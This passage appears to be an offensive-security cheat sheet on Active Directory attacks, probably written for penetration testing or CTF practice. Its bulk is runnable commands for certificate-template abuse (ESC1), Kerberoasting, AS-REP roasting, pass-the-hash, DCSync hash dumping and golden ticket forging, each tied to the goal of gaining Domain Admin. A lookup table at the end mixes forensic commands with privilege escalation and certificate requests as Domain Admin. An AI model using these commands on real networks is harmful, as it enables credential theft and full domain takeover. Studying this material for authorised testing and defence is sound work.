Find AD CS Servers and Certificate Templates\n\n```bash\n# Find certificate authorities\nnmap -p 389,636,3268,3269 --script ldap-search 192.168.1.10\n\n# Enumerate certificate templates with ldapsearch\nldapsearch -x -H ldap://192.168.1.10 \\\n  -b \"CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local\" \\\n  -D \"CN=admin,CN=Users,DC=corp,DC=local\" \\\n  -w 'password' \\\n  '(objectClass=pKICertificateTemplate)' \\\n  cn pKIExpirationPeriod msPKI-Cert-Template-Name\n\n# Look for vulnerable templates:\n# - UserSuppliedSan (SAN can be set by requester)\n# - enrollee-supplies-subject\n# - No security extension required\n```\n\n#### Example 2: ESC1 - SAN Abuse (Request Certificate for Any User)\n\n```bash\n# If template allows SAN (EDITF_ATTRIBUTESUBJECTALTNAME2)\n# You can request certificate for any user (e.g., Domain Admin)\n\n# Using Certify (Windows)\nCertify.exe request /ca:corp-DC-CA /template:CorpUser /altname:administrator\n\n# On Kali, use certipy\ncertipy-ad req -ca corp-DC-CA -template CorpUser -u user@corp.local -p password -altname administrator@corp.local\n\n# Then authenticate with the certificate:\ncertipy-ad auth -pfx admin.pfx\n# Now you're Domain Admin!\n```\n\n#### Example 3: Kerberoasting (Crack Service Account Passwords)\n\n```bash\n# Find SPN users\npython3 GetUserSPNs.py \\\n  -dc-ip 192.168.1.10 \\\n  corp.local/admin:password123\n\n# Request TGS for each SPN\npython3 GetUserSPNs.py \\\n  -request \\\n  -dc-ip 192.168.1.10 \\\n  corp.local/admin:password123\n\n# Save cracked hash:\n# $krb5tgs$23$*mssql_svc$corp.local$MSSQLSvc/dbserver.corp.local:1433*\n\n# Crack with hashcat\nhashcat -m 13100 ticket.txt rockyou.txt\n\n# If cracked \u2192 you have service account password\n# Often service accounts have excessive privileges\n```\n\n#### Example 4: AS-REP Roasting (Crack Users Without Pre-Auth)\n\n```bash\n# Find and roast users with UF_DONT_REQUIRE_PREAUTH\npython3 GetNPUsers.py \\\n  -dc-ip 192.168.1.10 \\\n  corp.local/ \\\n  -targetusers \\\n  -request\n\n# Or specify domain and user\npython3 GetNPUsers.py \\\n  -dc-ip 192.168.1.10 \\\n  corp.local/user:password \\\n  -request\n\n# Crack with hashcat\nhashcat -m 18200 asrep.txt rockyou.txt\n```\n\n#### Example 5: Pass-the-Hash with impacket\n\n```bash\n# Authenticate with NTLM hash (no password needed)\n# WMI exec\npython3 wmiexec.py -hashes \"LM:NT\" corp.local/admin@192.168.1.100\n\n# PSEXEC style\npython3 psexec.py -hashes \"LM:NT\" corp.local/admin@192.168.1.100\n\n# DCSync (dump all domain hashes)\npython3 secretsdump.py -hashes \"LM:NT\" corp.local/admin@192.168.1.10\n\n# Gets:\n# krbtgt:!:... (golden ticket)\n# administrator:1000:... (domain admin)\n# All domain user hashes\n```\n\n#### Example 6: Golden Ticket (Forge Kerberos TGT)\n\n```bash\n# After DCSync, get krbtgt hash\n# Request TGT for any user\npython3 ticketer.py \\\n  -nthash  \\\n  -domain-sid  \\\n  -domain corp.local \\\n  administrator\n\n# This creates admin.ccache\n# Use it:\nexport KRB5CCNAME=admin.ccache\npython3 wmiexec.py -k corp.local/administrator@dc.corp.local\n\n# You now have Domain Admin access\n```\n\n### AD CS Attack Summary\n\n| Attack | What You Need | What You Get |\n|--------|--------------|--------------|\n| ESC1 (SAN Abuse) | Valid user + certificate template with SAN | Domain Admin |\n| ESC3 (RA Agent) | User enrollment + RA agent cert | Domain Admin |\n| Kerberoasting | Any user | Service account password |\n| AS-REP Roast | No pre-auth users | User password |\n| Pass-the-Hash | NTLM hash | Shell as that user |\n| DCSync | Domain Admin or krbtgt hash | All domain hashes |\n| Golden Ticket | krbtgt hash | Domain Admin (persistence) |\n\n---\n\n## Quick \"I Need To...\" Lookup\n\n| Task | Command |\n|------|---------|\n| Hunt attacker techniques in EVTX | `./chainsaw hunting ./evtx/ --json -o hits.json` |\n| Find logons in Windows logs | `./chainsaw search --event-id 4624 ./evtx/` |\n| Analyze PCAP for credentials | `tshark -r file.pcap -Y \"http.request.method == POST\" -T fields -e http.file_data` |\n| Extract files from PCAP | `tshark -r file.pcap --export-objects \"http,./export/\"` |\n| Find processes in memory dump | `vol -f mem.dmp windows.pslist` |\n| Crack NTLM hash | `hashcat -m 1000 hash.txt rockyou.txt` |\n| Crack Kerberos TGS | `hashcat -m 13100 ticket.txt rockyou.txt` |\n| Carve files from disk image | `binwalk -e disk.img` |\n| Extract hidden data from image | `steghide extract -sf image.jpg` |\n| Crack steghide password | `stegseek image.jpg rockyou.txt` |\n| Find admin logins in Linux | `grep \"Accepted\" /var/log/auth.log` |\n| Find web attacks in Apache | `grep -E \"UNION\\|SELECT\\|etc/passwd\" /var/log/apache2/access.log` |\n| Escalate Windows privs | `PrintSpoofer.exe -c \"cmd.exe /c whoami\"` |\n| Find SPN users in AD | `ldapsearch ... '(servicePrincipalName=*)'` |\n| Request cert as DA | `certipy-ad req -ca CA -template User -altname administrator@corp.local` |\n", "creation_timestamp": "2026-07-11T16:14:33.915436Z"}